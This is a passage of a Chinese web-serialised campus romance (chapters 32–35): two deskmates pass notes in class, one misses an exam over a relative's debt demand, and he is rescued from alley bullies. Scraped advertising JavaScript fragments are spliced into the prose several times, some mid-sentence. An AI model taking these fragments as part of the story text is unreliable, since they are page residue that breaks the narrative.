手电筒的光被他刻意地晃了晃,在空中虚虚比划了一下。 ……林藏初眼睁睁地看着操场上的小情侣们逃窜得更厉害了。 太过招摇太过张扬,离上课还有一分钟,少爷忍无可忍地把谢遥集手里握着的手电筒给关上了。 光源消失的瞬间,眼前倏地陷入一片黑暗,罪魁祸首下意识把两个人的距离变近了一点儿。 他在短暂的失明反应中听见对方问:“道着歉呢,怎么给关上了?” 林藏初:“……” 黑暗的环境里感官会被无限放大,连带着谢遥集平时普通开玩笑的语气也变得欠揍起来。 林藏初:“因为你烦。” 对面没再有声音。 林藏初等了一会儿,反思是不是自己说的话太过分了,于是忍不住转头去看。 一道骤然拉近的温热呼吸打在了他脸颊上。 林藏初陡然一惊,视觉终于在月光下缓慢恢复,这才发现谢遥集不知什么时候也跟着他一起半蹲了下来。 方才自己又靠近了些,如今一转头,对方的嘴唇距离他额头也不过几厘米的空隙。 ……只要他把脑袋轻轻向前一探,就能碰到。 心脏的跳动频率在一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间向上攀升,林藏初险之又险地把自己从内心这个危险的、足以破坏同桌之间友好关系的恶心想法里薅了出来。 他向后撤得实在太快,以致于脚下重心不稳,一屁股坐在了地上。 谢遥集反应未料,伸出去的手也没来得及拉住人,旁边似乎正巧远远路过一对儿小情侣:“哇,哥们,你这怎么照顾你女朋友的?还能给人家摔地上?” 摔坐在地上的林藏初:“……” 不明所以刚要把人扶起来的谢遥集:“……” 离得太近,谢遥集十分清楚地听见了林藏初磨后槽牙的声音,以及这人活动手腕时的嘎嘣声。 “都是误会。”谢遥集冷静地抓住了他的胳膊,“快上课了,你要是实在觉得生气。” 他顿了一下:“我可以让你骂回来。” 近处的小情侣没多停留,只揶揄了一句就赶着回去上课。林藏初却因为谢遥集最后的这两句话而差点把大脑cpu干烧了。 ……骂回来?怎么骂回来?? 难不成要出去说谢遥集是他的女朋友? 林小少爷光是一想这个场面,都觉得鸡皮疙瘩掉了一地。 “……算了。”林藏初忽然觉得索然无味,剩下的那点儿被人认错性别的怒气也跟着散了,“路人甲而已,不值得在意。” 预备铃早就响过许久,等两人回到班级的时候,已经是语文课的第三分钟了。 换作平时,林藏初进门免不得要挨一顿不痛不痒的训,但是今天不一样。 今天他是跟谢遥集一起回来的。 成绩优异的人总会在一些无关轻重的小事上得到老师特殊的照顾,比如上课迟到。 林藏初虽然其他科成绩垫底,但是在语文课上是难得的香饽饽。 这就导致迟到的两个人营造出来了一种“1+1>2”的效果,语文老师几乎是问都没问,就和颜悦色地把他们放进来了。 林藏初一路畅通无阻地走到自己的位置,然后才发现桌面上已经被人发了一张文言文阅读专项训练。 他敲了敲周扬的椅子,后者没回头,只扔过来一张纸条。 ——老师让咱们现在就做,待会儿随机提问。 林藏初:“……”好吧。 他随手把周扬给的纸条收进桌屉里,收拾桌面准备开始做题,眼神一瞟,却发现谢遥集已经把发下来的语文印刷黑卷折叠规整,压在了《直击高考》的资料下面。 林藏初盯着他的桌面看了几秒钟,发现这人正在一目十行地写着晚自习前找过的竞赛资料。 林藏初摸不准这人是不是有着自己的计划,提醒的话在嘴边转了几圈,最后还是没说出口。 …… 十五分钟后。 语文老师先是看了看腕表,然后从厚厚的中华成语大辞典中抬起头:“第一篇文言文大家都做完了吧?” 她从讲台上站起身,扫了一眼座位表,像上节课一样笑眯眯地开口道:“那这次就找个靠谱一点的同学,起来和大家对下答案。” “……找谁好呢?” 林藏初才刚做到卷面上的第二篇文言文阅读,不知怎地,忽然又有了一种不好的预感。 这种“不好”和“糟糕”不像是即将要自己身上的,反倒有点像是—— 几秒钟后,也可能是很多秒钟后。 他听见语文老师温柔的声音从讲台遥遥传过来:“就你了。谢遥集。” “你站起来,和同学们对下第一篇文言文的答案吧。” 32. Chapter 32 谢遥集刚写完一道数学题,是复数那部分涉及到的棣莫弗公式,心里还在想这个知识点到底要不要提前给程九理补充:“?” 他抬起头,堪堪然对上语文老师饱含鼓励的视线。 全班的目光都聚集在了他的身上,谢遥集总感觉自己好像错过了什么重要的事。 他缓缓地从座位上站了起来,还没等开口,一旁的林藏初忽然有了动作。 半张皱巴巴的广告纸被临时充当草稿推了过来,黑色签字笔在上面留下的痕迹十分浅淡,再加之林藏初一般人难以辨认的书法水平。 谢遥集盯着语文老师期待的目光低下头,只看见了几串乱码: @BC#$%&&*#?#%&%*%。 %#@*$#%&。 #%@$@*%%@*%#@$&。 谢遥集:“……” “选BC。” 语文老师挑了下眉,确认似的问了一遍:“第一题B,第二题C?” 其实谢遥集猜出来的意思是这题选BC两项,但是他根本不知道这到底是道什么题。 所以他很聪明地选择了保持沉默,只跟着点了下头。 语文老师的脸上是赞许的笑容:“正确答案确实是B和C。” “大家选对了没?” 其他人或选对或选错的回答声拉长音交织在一起,教室里短暂地嘈杂了几秒。 见对方桌面摊着的仍是数学习题,林藏初犹豫一瞬,还是选择好人当到底,趁乱把谢遥集压在资料下面的小黑卷拍在了他的桌子上。 “……在讲这张。第一篇。” 谢遥集恍惚有一种角色互换的微妙感,于是又低下头努力看了看那张被人递过来的广告纸。 他毫不怀疑上面的确是正确答案,但是…… 就算是正确答案,在与乱码百分之八十相似之后,也会起到和错误答案一样的作用。 ……或许还要更严重一点。 教室重归寂静,站在讲台上的语文老师耐心地等待着谢遥集的答案。 “第三题的翻译呢?” 谢遥集把纸条努力看了整整四遍,仍旧没能看出来上面到底写了个什么。 他终于选择放弃,深吸一口气,道:“抱歉,老师,我不会。” 方才刚刚安静下来的班级倏地哗然,不少等着对答案的同学都震惊地放下了手中的红墨笔,转头往谢遥集的方向看过去。 距离不过十几厘米的林藏初也被波及到,被迫接受了大片饱含复杂和错愕的目光:“……” 不过相比于其他同学的可惊可愕,他低头看了看自己推过去的纸条,心里更多的是一种纳闷和不解。 答案都给他了,为什么不照着念? ……他的字有那么难认吗? 语文老师的震惊丝毫不比其他人少,她不可置信地重复了一遍:“你说你不会?” 谢遥集:“……嗯。” “淑意其宿制,即试以别法,皆能立就……*全是上周刚刚讲过的知识点。” 语文老师已经开始怀疑起自己的讲课水平:“你当时没听懂?” 谢遥集:“……” 进也不是退也不是,他的大脑难得放空了一瞬,刚想随口扯个无伤大雅的谎。 “老师,他上周那节课请假了。” 旁边的林藏初忽然举手。 暴怒边缘即将发火的老师忽然一卡:“请假了?” “嗯。”林藏初说,“好像是胃疼,碰巧没来。” 语文老师仔细地在自己的记忆里翻找了几遍,未果。 她虽然还是有些不相信,但是林藏初的语气实在太过斩钉截铁。 语文老师对待学生一向和蔼,态度瞬间宁可信其有不可信其无地温柔下来:“既然这样,那你坐下吧。” “上周遗落的知识点,下课最好多问问同桌。” 谢遥集有些意外地看了林藏初一眼,只看见了对方偏过去的脑袋。 他错愕大过疑惑,但还是很快接上:“好的老师,我会的。” 他依言坐下,听老师叫了别的同学起身回答,语文晚自习依旧在继续,但是左侧的广告纸却被人扯了回去。 半晌,广告单再次推过来的时候,下方已经多了一串更为崭新的乱码。 谢遥集:“……” 上面旧的几串字迹已经被指腹剐蹭得有些发糊了,他终于伸出手,把这张害人不浅的纸条给扯了过来。 等林藏初再拿回来这张课外机构的补课广告单,就看见谢遥集力透纸背的字: 你就不能换张纸? “……”林藏初罕见地沉默了。 草稿纸这东西在学渣手里是稀罕物。 就连这张花花绿绿的广告单,都是今天晚上别人刚发过来的。 林藏初不服气,刚想在下面回“这不是能写吗”,手掌就不小心碰到了谢遥集写下的那串字。 广告单上未干的黑色墨水被汗一抹,丝毫不剩地粘在了他的掌心里。 再看这张充当纸条传递艰巨任务的广告单,方才留有字迹的位置已经干干净净,只剩下了一点“力透纸背”过后的划痕。 林藏初……林藏初终于认输了。 不在语文卷上乱写乱画是他最后的倔强,少爷翻箱倒柜找了一圈,没能找到除了这张文言文阅读专项训练之外的第二张纸。 于是他想出了一个绝妙的主意。 往手上写。 谢遥集不知道短短几秒钟,自己的同桌究竟经历了多少头脑风暴。 他只知道当林藏初把右手像上几次那样伸过来的时候,他随手一接,想把这次的纸条拿过来,却接了个空。 谢遥集:“?” 讲台上的语文老师依旧在滔滔不绝,谢遥集从文言文阅读专项训练中抬起头。 他看见林藏初的一整只胳膊都越过了那条“三八线”。 是当同桌的第一天,对方亲自定下的。 谢遥集的视线落在这人白润如玉的胳膊内侧,上面赫然是一行歪歪扭扭无法辨认的黑色鬼画符。 再往上看,“鬼画符”创作者冲他露出一个志得意满的笑容。 还比了口型道:我左手写的,厉害吧? 谢遥集:“……” 谢遥集做了个深呼吸,一时不知道该说何是好。 他翻开自己的草稿纸,随便扯了一页空白,在上面写:你几岁了? 这句话写完不到一秒,草稿纸就被林藏初拽了过去,回了个:?'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 于是谢遥集又把纸从左侧桌子扯回来: 你这个办法,真的很行为艺术。 只写了三行字的草稿纸被人压在了两张桌子中间的线上。 林藏初看见后皱着眉想了一会儿,忽然发现谢遥集其实是在骂他。 林小少爷没再去碰那张珍贵的白纸,而是面无表情地把手收回来,对着人比了个中指。 然而与他料想中的谢遥集的反应不同,对方不仅没生气,反而一反常态地把纸重新挪回到了自己的桌面上,又写了几个字。 几秒钟后草稿纸再次被人推回来,林藏初吸取上次的教训,本来不想看。 但可能是因为语文课实在太过无聊,又可能是觉得谢遥集这句话写的时间实在有些长,他还是鬼使神差地悄悄又扫了一眼。 前面的几行字已经被人欲盖弥彰地涂掉了,只剩下最新写上去的两行: 刚才的事,谢了。 ——你想要什么报酬? 林藏初:“?” 他像是被烫到了一样,倏地把视线收了回来,抬头往黑板上看。 语文老师正在讲一个很重要的知识点,察觉到林藏初从后排投过来的“认真听课”的视线,赞赏似的对着他笑了笑。 脑子里满是谢遥集那张纸和上面的报酬二字、半点都没在听课的林藏初:“……” 黑板上方挂着的时钟显示,距离这节晚自习下课还有十五分钟。 林藏初发誓自己的脑袋里从来没这么乱过,就算是打游戏开局逆风五分钟被敌方推到高地、一波团战逆风翻盘的时候,他都没像现在这么茫然无措。 ……报酬。要向谢遥集要什么报酬? 关键他把答案递过去的时候,心里也没想过关于“报酬”这件事啊。 林小少爷无端地陷入了一种“自己举证”的怪圈里,丝毫没想过谢遥集才是不正常的那个人。 谢遥集耐心地等了五分钟,仍然没等来林藏初的回复。 草稿纸的后半部分空无一字,只有他写过去的两行字还孤零零地摆在中间偏上的位置。 ……谢遥集忽然没来由地有些烦。 他不喜欢欠人交情。 但是如果林藏初真的要了什么譬如金钱一类的东西,他好像也给不起。 甚至于他唯一拿得出手的成绩,在林小少爷的眼里,也不过是无趣无用之物。 十分擅长分三别两的谢会长难得有些犯了愁—— 这份来自同桌的人情,到底该怎么还? 不知过了多久,滋啦啦的下课铃声倏地响起,把谢遥集从纷乱的思绪里扯了回来。 教室重新变得嘈杂,隐约能听见有人勾肩搭背,说要一起去找谢神问数学题。 谢遥集从无数个有关林藏初的假设里回过神,忍不住去往这人的方向看。 然后他发现那张摆在桌子中间,一直没人碰过的草稿纸已经不见了。 两秒钟后,对方熟悉的、修长好看的手指稳稳地递到了谢遥集的面前。 ……是他期盼已久的,有关于这场“报酬”的答案。 谢遥集接过来,打开那张被人重新认真折叠过的草稿纸。 里面只剩下了一行字。 ——自愿帮你的,为什么要有报酬? 33. Chapter 33 不同于南楼高一和高二年级因为教室拥挤场地不够、被迫上半天放半天的考试,高三的月考时间安排显然更为合理。 上午一科、下午一科,只用两天就能考完。 林藏初咬着笔杆,看着满满两张半的理综卷子,实在是不会做,只好在第一面的选择题上下功夫,很有规律地蒙上ACBBACB。 这时候他就开始有点儿怀念和谢遥集当同桌的时候。 但凡有做不上的题,只要敲敲桌子,保准能收来一份百分百正确的答案。 ……只可惜现在这位姓谢的学神在第一考场坐着,离他上下足足两个楼层。 够不到也摸不着。 林藏初叹了口气,一口气蒙完生物的选择,又往化学的第一道常识类选择上划了个D。 他的位置在考场靠南一侧的后排,一旁的窗户大咧咧地开着,有风打着旋儿从外面轻飘飘地钻进来。 桌面上的试卷被吹起来边角,又被林藏初用胳膊再次压住。 林小少爷做题有个原则——写完的题从不蒙第二遍,因此他连橡皮都没拿。 后桌戳他的脊梁骨戳了三遍:“哥们,你带涂卡笔了没?” 林藏初刚好涂完了全部都选择题,被他戳得有点不耐烦,“啧”了一声回过头。 动手动脚的人这才看清自己刚才持之以恒一直打扰的人是谁:“……” 救命,考场坐在最后一排发霉角落、恰巧轮到坏了腿儿的桌子也就算了,怎么前面唯一的邻居还是个惹不起的? 原本还觉得自己能借到笔,顺便瞄对方两眼选择题答案的孔霄自认倒霉,心如死灰地闭上了眼睛。 他是真没带涂卡笔,其他科都是乱蒙,也就只有理综能靠选择多答几分。 ……要是理综选择题全空,下次再考试就只能去最后一个考场了。 爸妈肯定要把他的腿都给打断。 或者更糟糕一点儿,坐他前面这位因为考试的时候被自己不断骚扰,于是记恨于他,一下课就会找人把他围堵在教学楼里…… 孔霄越想越难受,龇牙咧嘴地抽了口气,仿佛身上脸上已经十分凄惨地挂了彩。 一声清脆的“啪嗒”声落在桌面,堪堪然把他从这场有关于自己悲惨下场的想象中拽了出来。 孔霄一低头,发现那位“暴戾脾气远近闻名”的少爷不知什么时候已经转了回去。 坏了腿儿的桌子上,只剩下一只重新装好铅的涂卡笔。 摸上去还带了点儿对方握在手里时留下的、尚未散去的温热体温。 孔霄:“?” 他有些不可置信地把笔捡了起来,放在眼前左看右看。 ……不是,还真能借来啊? * 胡乱画完生物大题的遗传图解,又把化学流程蒙了个差不多一二之后,林藏初终于熬到了理综交卷的前五分钟。 他看了看窗外刺眼的阳光,忽然想起来前天晚自习布置考场的时候,自己落在教室里的日记。 昨天考完数学本来想回去拿来着,但是逆着人流上五楼实在太过艰难,遂作罢。 今天……其实今天他也不是很想拿,但是今天的确有事情想往里面写。 林藏初权衡半天,一咬牙,决定交了卷之后多等几分钟再上去。 他对早回家吃饭这件事没什么执念,早回晚回都是回,还不如在外面多逛一会儿。 走廊里的交卷铃滋滋拉拉地响起来,林藏初把卷子递给身后自觉走过来收卷的同学。 对方先是被他空荡荡的答题卡震惊了一瞬,然后匆忙把方才借过的涂卡笔放在了桌子旁边,说了声谢谢。 然后就头也不抬地跑了。 林藏初:“……?” 他盯着这人往前一张张收卷、越收动作越快的背影,心想:莫不是也跟谢遥集一样,是个着急吃饭的? 监考老师确认过收上来的答题卡数目无误,准许同学们出门。 一时间楼层走廊轰隆拥挤,学生犹如蝗虫过境鱼贯而出,连桌子都被挤歪了几张。 还坐在座位上没动的林藏初:“。” 他头一回觉得,自己的决策是如此的合理正确。 林藏初眼看着人都走光,最后考场里只剩了个瘦瘦高高的女生在收拾卫生。 林藏初猜她应该是这个班级的学生。 每次考试都会有那么一些恰巧分到自己班级考场的同学,这些同学往往负责考试中途时班级的卫生工作。 高三(1)班是第一考场,负责收拾卫生的也往往是那么固定的几个人。 林藏初忽然有些神游天外地想:谢遥集也会在考完试的时候留下帮忙吗? 那他现在上楼,是不是正好碰见对方? 女生已经扶正了北边几列被人撞歪的桌子,正在拎着扫帚往林藏初的方向走,看样子是要过来了。 林藏初觉得自己可能、大概,再待下去会有那么一点儿碍事。 他长长地吸了口气,拿起已经装好的考试用具,迅速地从座位起身出了门。 北楼的走廊里已经不剩几个人,林藏初一路上只撞见了两对儿互相等人的小情侣,以及一帮风风火火带着篮球跑下楼的“不吃饭”预备役。 等上到五楼的时候,寂静和脚步声被班级里隐隐约约的喧闹取缔,林藏初才发现有些不对劲。 ——高三(1)班里面的人,远比他想象中的要多得多。 班级的前门虚虚地半掩着,林藏初推门而入,里面几个拿着扫把嗷嗷表演击剑的同学瞬间回头,动作可疑地卡带一瞬:“?” 林藏初:“……?” 他有些不确定地环视一圈:“你们这是在……打扫卫生?” 高姿上次考试滑铁卢,很不幸地跌出了第一考场,于是缺乏生活委员管教之下的值日小组摇身一变,返祖成了山中猿猴。 一旁抓着人对答案的周扬十分用力地清了清嗓子,试图为自家组员找补:“刚考完试嘛……放松放松心情,都是好事。” 没等林藏初对他嘴里的“都是好事”做出一番评价回应,按着周扬试卷仔细端详的方有才就插话道:“你这个化学流程题里面的方程式,好像配平错了。” 周扬:“?” 周扬瞬间忘掉自家组员扑了过去:“不可能!” “真的。”方有才把卷子拿起来递给他,语气诚恳,“后面应该是水,不可能是氢氧根。” “你要是不信,等谢神回来,你再去问问他。” 他这么一说,一旁沉默半天的林藏初终于找到契机,问了自己从刚才起就一直想问的话。 “谢遥集他… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …没和你们一起值日吗?” “你说谢神?”回答林藏初的是另外一个正在扫地的同学,他停下手中的动作,奇道,“他今天缺考没来,林神你不知道?” “……光是放学的这功夫,年级里都传疯了。” 扫地的同学咂咂嘴,似乎是很觉得遗憾:“我还是头一次见谢神缺考。” “也不知道这次的年级第一会被谁给捡漏,反正不可能是我。” “……”再后面周扬他们的讨论,林藏初全都没有听见。 他的脑袋忽然有了些细小扰人的嗡鸣,再后来就只剩下了六个字。 ……谢遥集缺考了。 为什么? 林小少爷茫然地想,是生病了,还是有什么迫不得已的理由? “真奇怪,昨天还来了呢。” 不知过了多久,他听见方有才问:“林神,你知道谢神为啥没来不?” 林藏初从怔愣里缓过神,干巴巴道:“我不知道。” 谢遥集从来没有和他提起过——又或者换个说法,他其实对谢遥集这个同桌一直都一无所知。 虽然去过对方家里做客,也多了一层“送猫”的关系,甚至当初在网吧里送的伞也会心照不宣地彼此保密。 但他们的关系始终还是隔着一层疏离的纱。 林藏初想,他好像在“同桌关系”这件事上一直有些自作多情。 所以现在谢遥集是否缺考,又是到底因为什么缺的考,在对方看来,好像也跟他没什么关系。 他罕见地在这场有关于“谢遥集”的话题和八卦中当了沉默不语的一员,心里却没来由地有点儿烦。 一旁的几个人就事论事地猜了一阵,没能猜出个什么所以然来,只好放弃,继续趴在一起对理综答案去了。 林藏初在原地站了一会儿,终于想起来自己此行回班的目的——日记。 除去摸鱼对答案的几个人,剩下的同学都在兢兢业业地扫着地。林藏初长腿一跨,从桌椅和笤帚旁边绕过去,走到讲桌旁。 如果没记错的话,当初收拾考场的时候日记应该就是被人随手放在这里—— 他往抽屉里伸手一摸,没成想,却摸了个空。 林藏初;“?” 林藏初不信邪地弯下腰,把讲桌的抽屉全部拉开,里面空空荡荡,就连之前堆叠如山的粉笔头都消失的一干二净。 林藏初:“……” 林藏初彻底麻了。 旁边扫着地的值日生正巧经过,他犹豫几秒,最终还是放弃挣扎,拽住对方的袖子问:“你前天有没有在讲桌下面看见一个笔记本?” “蓝色的,差不多这么厚。” 他伸出手指大致比划了一下。 值日生努力地想了想,好像还真有了点儿不浅不深的印象:“噢,你说那个笔记本啊。” “当时收拾考场,生活委员说顺便把讲桌里的东西也清空一下,那个笔记本也不知道是谁的。” “高姿说好像是你搬桌子的时候随手放在这里的,但是当时你已经走了,找不到人。” “怕放在窗台上就这么丢了,所以最后就近原则地塞到了你同桌手里……怎么,谢神没给你?” 林藏初:“……” 林藏初呼吸一窒,只感觉整个世界都昏暗了。 34. Chapter 34 谢遥集觉得,今天是自己的另一个倒霉日。 要不然怎么一大早推开门就能看见最不想看见的人呢? 矮矮胖胖的中年男人站在楼梯间里,显然是已经等候多时。 看清谢遥集手上拿着的书包后,他搓着手问:“小谢啊,要上学去?” 谢遥集很不合时宜地想起来今天要考的两门科目。 理综和英语。加起来一共是四百五十分。 “舅舅。”校服外套下藏着的手虚虚地握了下,他礼貌又陌生地张口喊人,“您怎么来了?” “嗐……这不是你舅妈,非催着我来看看你。” 陈康平嘴上一副乐呵呵关怀晚辈的语气,实则眼神却在往谢遥集身后尚未关紧门缝后看,“最近过得怎么样?” “还好。”谢遥集短而简地答道,微微用了些力气,想要挡住陈康平的视线,把身后的门悄然关上。 “还好就成,不然我和你舅妈也老是担心……不请舅舅进去坐坐吗?” 陈康平说着说着,忽然提高了声音。 粗犷的声音在走廊里显得格外突兀,谢遥集扶着门的手倏地松了力。 “哪里的话。” 他转身将门打开,心里因为今天注定赶不上的理综考试而叹了口气:“舅舅,进来再说吧。” 于是陈康平从他身后挤进门,目标明确地找到沙发…… 他忽然发现这间屋子里没有沙发。 不多时,谢遥集从房间里搬来一张有些晃的、落满灰的椅子,又把靠着墙的书桌向外面挪了挪。 陈康平像座山似的杵在狭小的屋子里,听见自己的外甥再次开口,仍旧是一副挑不出错来的礼貌模样:“您请坐。” ……往哪儿坐? 陈康平看了看左边全是灰的旧木椅,又看了看右边书桌满是裂纹的塑料圆凳。 打好草稿的话忽然就有那么一点儿说不出口。 “小谢啊,我这次来是想跟你商量。”他两张椅子都没选,但也不想让自己就这么直挺挺地站着,显得很没气势,于是只能硬靠着旁边的书桌,道,“现在舅舅做生意正是缺钱的时候,你表哥也快要毕业了……” “先前借给你那几万,你看,能不能快些还上?” “虽说之前说好了,等你成年慢慢还也不迟,但这一时有一时的情况……” 陈康平显出为难的神色,“你妈当年一声不吭地拿着户口本跟人走了,这些年都没怎么回过家,就算有情分,当初借你钱的时候也已经尽了。” “你舅妈因为这几万跟我来来回回吵了不少的架,你总得考虑考虑舅舅的感受和家庭不是?” “我听说你把你奶奶那边欠着的债还上了不少,俗话讲,人要一碗水端平……” “我知道的,舅舅。” 谢遥集终于忍不住,出声打断了他,垂着眼睛道:“我会还上的。” “……三年之内。” 陈康平皱了下眉,终于听到自己想听的话,只是陈情诉苦到一半被打断,语气上难免有些原形毕露:“要三年?” “是不是有些太久了?听别人说你现在在别墅区那边做家教,每个月也不少赚……” “最多一年半,不能再晚了。” 陈康平冷声道,“要么把这些钱还上,要么尽早辍学——我和你舅妈做主,给你找份进厂的工。” 窗外的鸟叽叽喳喳地叫起来,谢遥集看了眼表,这才发现距离陈康平进门,时间已经过去了很久。 他恍若心口压了块沉甸甸挪不开的巨石,只单单一个“好”字,却像是藕断丝连长在喉咙眼似的说不出口。 那边陈康平已经利落地拟好了字据,变魔术般从口袋里掏出盒准备已久的红印泥。 “口说无凭,你要是答应,就在这上面签个字再画个押,一年半之内,舅舅不会再来烦你。” 陈康平又端起那副长辈的架子,好声好气地劝着。 可能是没吃早饭的缘故,谢遥集觉得有些反胃,干呕感在喉咙里挥之不去。 半晌,他缓缓地从陈康平的手里接过那盒红印泥。 “……好。” * 送走陈康平之后,谢遥集又看了眼时间。 距离理综考试开始已经过去了两个小时,他现在赶过去,除了能把自己的名字写上,再顺便帮老师收个卷儿,什么都干不了。 肚子隔着校服突兀地咕噜一声,那种胃里隐隐作痛的恶心感又浮了上来。 谢遥集捏了下裤子口袋里仅剩的五块钱,又想起自己方才安慰打点给陈康平的五张红票。 ……中秋节那天刚拿到的,还没捂热乎呢。 五块钱在外面什么都吃不饱,谢遥集沉吟几秒,又想起来学校食堂前几个窗口物不美但价廉的饭。 算算时间,现在过去应该还能赶得上撤餐。 谢遥集当机立断地出了门。 今天是个难得的好天气,有风,但不是特别大,带着秋天特有的凉,被阳光裹着轻飘飘地荡过来,撞到人的脸上、额头上,又不至于会弄乱发型。 谢遥集被这阵风吹得心情稍微好了些,但眉头仍然皱着—— 饿的。 胃里的那阵绵长的疼已经变成了一种类似于抽筋似的阵痛,行道树半绿半黄的叶子慢悠悠地跟着风一起掉下来。 谢遥集心想,以前怎么没发现去学校食堂的路这么远? 他加快脚步,忍不住又抬起手腕看了眼时间。 11:25。 ……照现在这个速度,肯定是来不及。 只能抄近路。 谢遥集飞速地把临水一中周边的地图大致在脑海里过了一遍。 ——如果从职高旁边的那条路走,再从一中家属楼旁边的墙头翻过去,不仅能省一半时间,甚至还能避开一中大门放学时的人流。 谢遥集打定主意,脚下一拐进了旁边狭窄的小巷。 …… 五分钟后。 谢遥集很不幸地在巷子的出口被人堵住了。 打头的人看着十分眼熟,一张嘴,语气活像是欠了谁二五八万:“喂,你就是隔壁一中那个,那个什么谢遥集?” 寸头。花T恤。 谢遥集几乎是瞬间就认出来,这是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 当初在黑诊所碰见的几个人之一。 ——不小心撞了他,还差点和林藏初打起来的那个。 “我是。”他不动声色地扫视了一圈花T恤身后的人,一左一右,算上花T恤,一共是三个,“请问有什么事吗?” 放在平时,或许勉强能不分伯仲,但是现在…… 胃里又反上来一阵更为难熬的疼痛,空荡荡的,饿得人难受。 谢遥集用舌尖抵了下牙龈,心道,要不然还是跑吧。 “早就看你们这些学习好的不顺眼了。” 花T恤恶劣地从鼻子里哼出一声,“赶得早不如赶得巧,今天碰上,正好新帐旧帐一起算了——” 并没有什么大篇长论的反派发言,不过几秒钟的功夫,强劲的拳头就裹着利风砸了过来,谢遥集险之又险地侧了下身,躲开对方这毫不留情的一拳。 “……”胃里的疼痛抽搐变本加厉,谢遥集头上冷汗直冒,肾上腺素飙升的同时,他趁着对方一击未中的空档,瞧准路线拔腿就跑。 “我操,这鳖孙子跑这么快——给我按住他!” 身后传来花T恤气急败坏的喊叫声,谢遥集无暇顾及,身旁偏僻无人的巷子和街道在奔跑中逐渐拉长、变得模糊起来。 不知跑了多久,胃里的绞痛感愈发明显,谢遥集明显感到自己的脚步虚浮,眼前的砖瓦道路开始重影,力量无以为继。 即将摔在地上的一瞬间,他堪堪扶住了旁边贴满花花绿绿广告单的电线杆。 巨大的惯性所致,谢遥集的左腿膝盖狠狠地剐蹭在碎砖瓦的地面上,传来一阵钻心剜骨的疼。 杂乱的脚步声接连变近,他半跪在地上,听见身后那些人带着喘的咒骂声:“哈……挺能跑啊……怎么不跑了?” 十几秒后,谢遥集的校服领子被人力道粗暴地向后一拽。 “操,今天就让你见识见识什么叫——啊!” 对方放出去的狠话在后半段忽然变成变了调的惨叫声,过度奔跑后耳膜充血的后遗症仍未消失,谢遥集脑内一阵嗡鸣,只听见了有人被摔在地上的沉闷声响。 熟悉的音调和声线近在咫尺,穿过脑内灌满水的杂音,直直地撞进谢遥集的耳膜:“欺负谁呢?” “……不知道一中的规矩?” 他的话里带着一种谢遥集从未见过的、森然的怒气,谢遥集的脑袋有些乱,一时分不清此刻究竟是梦境还是现实。 谢遥集喘了口气,扶着灌满水泥的电线杆站起来。 ——他看见林藏初死死地按着花T恤的后颈,将对方的脸怼在碎砖瓦里。 这人先前的气焰已经消失不见,哆哆嗦嗦地喊:“哥,饶命……我不想毁容……” 谢遥集又往旁边看,花T恤的两个小跟班也不知道什么时候被林藏初一同放倒了。 左边的正捂着腿不断哀嚎,右边的还勉强能摇摇晃晃地站起来,但是步子却在悄悄地往后退。 ……似乎是在想独自逃跑的可行性。 “打了人,还想着要和平解决?”林藏初的表情冷得几乎能掉冰碴,他气极反笑,“哪个爹教你的畜牲之道?” 35. Chapter 35 这条废弃的后街其实离一中直线距离不远,但胜在地理位置偏僻,所以平时除了偶尔约群架的学生,根本就没什么人来。 谢遥集的头还是有些晕,他的视线落在蹲着的、在他印象里“娇生惯养”的少爷身上。 对方的左手牢牢地压着趴在地上的人的后颈,看起来像是做惯了这种事似的游刃有余。 林藏初空着的手随意从地面拾起一块边缘尖锐锋利的石片,对着花T恤剩下那侧干净的脸颊拍了拍:“问你呢。说话啊。” 花T恤趴在地上哭丧着个脸不敢动:“我没真想动他……谁让他拒绝我妹的情书,就寻思给个教训……” 林藏初也不知是听了还是没听,手上的力气又加重了几分:“给个教训?” 花T恤的脸被地上的砖瓦片硌得疼:“不不不没有都是我瞎说的,就是路过,路过……” 林藏初似乎是蹲得有些累了,他站起身,钳制人的姿势从按着变成踩着:“你自己说,是交钱还是挨打?” 一旁捂着腿哀嚎的同伙立刻嚷嚷:“老大!君子报仇十年不晚——” 林藏初“啧”一声,眯着眼看过去:“……你想报仇?” “他不懂事!瞎说的!” 花T恤趴在地上心里有苦说不出,只能莽足了劲以表明自己改过自新的真心,“哥,你信我,我这口袋里还有几张饭钱,全给你们。” “……今天的事能不能就这么算了?” 于是林藏初又把视线移回到花T恤的身上。 对方正眼巴巴带着一片希冀地看着他。 “也行。”林藏初抬了脚,“那你过去,给他道歉。” “他要是能原谅你,今天这事就这么算了。” 林少爷把手里捂热的石片向上抛了抛,口吻散漫,“要是没原谅,那今天高低得弄个结果出来——” 花T恤艰难地抬了下头,发现这位一打三毫不费力的爷说的是谢遥集。 他一咬牙,跌跌滚滚地从地上爬起来,猛地窜到了谢遥集的脚边,动作利落一气呵成地“咣”一声跪下了:“对不起!” “……您大人不记小人过!饶了我们吧!” 这一整套投降道歉连招实在太过丝滑,就好像从前也做过很多遍似的。 谢遥集刚缓过胃里那阵要命的绞痛,额头的冷汗还没消干净,下意识低着头看了对方一眼。 原本神气的花T恤此时已经变得灰头土脸,眼眶和下巴各自青紫了一块,脸颊上是一大片夹污带血的擦伤。 他又往不远处站着的人脸上看。林藏初脸上没伤,干干净净,只是眉头仍在皱着。 “……”想说的话哑在嘴里,谢遥集无视自己腿上被汗水洇湿而疼痛加剧的伤口,道,“精神损失费。” 他朝地上跪着的人伸手:“给钱。” * 一直到走出去五十米远,林藏初都没敢相信谢遥集竟然只是拿了人家的一百块钱就把这场以多欺少的霸凌草草了事:“不是,你就这么算了?” “都不说打他们一顿出个气?” 谢遥集表情平静地捏着张赔偿来的百元大钞,忽然问:“你怎么会在这里?” 林藏初的步伐忽然顿了一下,罕见地沉默了,没回。 半晌,才没好声气地回了句:“你管我。” 谢遥集止住话音,又换了个问题:“原来你打架这么厉害。怎么练的?” 林藏初:“……你废话好多。” 膝盖上的伤口还在疼,谢遥集摩挲了几下自己校服外套的袖口:“好奇一下救命恩人,不行吗?” 